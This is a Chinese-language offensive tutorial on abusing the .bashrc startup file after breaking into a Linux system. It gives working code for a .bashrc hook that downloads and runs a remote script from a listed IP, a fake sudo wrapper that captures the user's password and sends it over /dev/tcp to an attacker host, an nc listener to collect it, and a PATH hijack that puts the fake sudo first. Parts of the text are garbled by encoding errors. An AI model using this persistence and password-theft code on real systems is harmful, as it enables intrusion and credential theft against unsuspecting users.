利用文件.bashrc提權
文件.bashrc
是一個位于用戶主目錄的隱藏文件,用于存儲用戶的個性化設置。。
文件名末尾的 rc 最初是 ‘run commands’ 的縮寫。但現(xiàn)在許多人認為當作‘run control’的縮寫更合適。
我們可以在里面設置環(huán)境路徑、程序的別名、運行提示符等。該文件在生成交互式BASH SHELL的時候會被讀取。因此,我們也可以在該文件中執(zhí)行一些初始化的程序。
一、用來執(zhí)行命令
我們在文件.bashrc
中添加如下命令:
echo "I'm tirggered."
當用戶登錄的時候就會觸發(fā)該命令,并顯示這行文字。當然,在生成新的bash SHELL時,該命令同樣會被觸發(fā)。
二、用來執(zhí)行程序
既然如此,我們在滲透進系統(tǒng)之后也可以利用該特性執(zhí)行一些命令。接下來我們利用該特性,讓用戶在登錄的時候從遠程下載程序并執(zhí)行。
首先在遠程的服務器中準備一個文件
rainbow.sh
。并啟動python3
的http
服務器模塊。將該服務運行于端口8888。python3 -m http.server 8888
在靶機的
.bashrc
文件中添加以下命令,用以將遠程服務器中的程序下載、賦權、執(zhí)行。
if [ -x '/usr/bin/curl' ]
then
? ? echo "curl is installed."
? ? curl http://106.54.85.100:8888/rainbow.sh >? /tmp/rainbow.sh 2>/dev/null
? ? if [ -s '/tmp/rainbow.sh' ]
? ? then
? ? ? ? chmod +x /tmp/rainbow.sh && /tmp/rainbow.sh --rainbow "Program is running."
? ? fi
fi
用戶在登錄或者在生成新的BASH SHELL
時,會觸發(fā)該命令。
首先判斷程序
curl
是否存在。若
curl
存在的話,調用curl
命令從遠程服務器中下載設置好的程序。下載之后對其賦予執(zhí)行權限并執(zhí)行。
三、用來獲取sudo密碼
既然我們可以讓用戶在登錄的時候從遠程下載程序并運行。我們就可以把這個程序替換為一個假的sudo
命令,用來獲取sudo
密碼。
首先我們需要在遠程服務器中準備一個假的
sudo
程序。具體思路是設計一個程序作為中間人,獲取sudo
密碼并轉述命令。代碼如下:
#!/bin/bash
/usr/bin/sudo -n true 2> /dev/null
if test $? -eq 0?
then
? ? /usr/bin/sudo $@
else
? ? echo -n "[sudo] password for $USER: "
? ? read -s pwd
? ? echo
? ? echo "$pwd" | /usr/bin/sudo -S true 2> /dev/null
? ? if test $? -eq 1?
? ? then
? ? ? ? distroName=$(awk -F= '/^NAME/{print tolower($2)}' /etc/*-release? | tr -d '"')
? ? ? ? if test[ $distroName == *"centos"* || $distroName == *"red hat"* ]
? ? ? ? then
? ? ? ? ? ? echo "Sorry, try again."
? ? ? ? fi
? ? ? ? sudo $@
? ? else
? ? ? ? if test -x /usr/bin/curl?
? ? ? ? then
? ? ? ? ? ? echo -e "sudo password is $pwd" > /dev/tcp/khdxs7.server/8889
? ? ? ? fi
? ? ? ? echo "$pwd" | /usr/bin/sudo -S $@
? ? fi
fi
在遠程服務器監(jiān)聽端口
8889
,用以接收獲得的密碼。nc -lvnp 8889
在靶機
.bashrc
文件中添加以下命令。
if [ -x '/usr/bin/curl' ]
then
? ? curl http://khdxs7.server:8888/sudo >/tmp/sudo 2>/dev/null
? ? if [ -s '/tmp/sudo' ]
? ? then
? ? ? ? chmod +x /tmp/sudo && export PATH=/tmp:$PATH
? ? else
? ? ? ? rm -f /tmp/sudo
? ? fi
fi
用戶在登錄或者在生成新的
BASH SHELL
時,會觸發(fā)該命令。首先判斷程序
curl
是否存在。若
curl
存在的話,調用curl
命令從遠程服務器中下載設置好的程序。判斷是否下載成功(檢查文件是否存在且至少有一個字符)。
下載成功之后對其賦予執(zhí)行權限并執(zhí)行。
將假的
sudo
程序添加到路徑中。
這樣一來,只要用戶登錄或者生成新的BASH SHELL
,sudo
程序就會被替換。用戶一旦使用sudo
來執(zhí)行命令,密碼就會被發(fā)送到服務器的8889
端口。

KHDXS7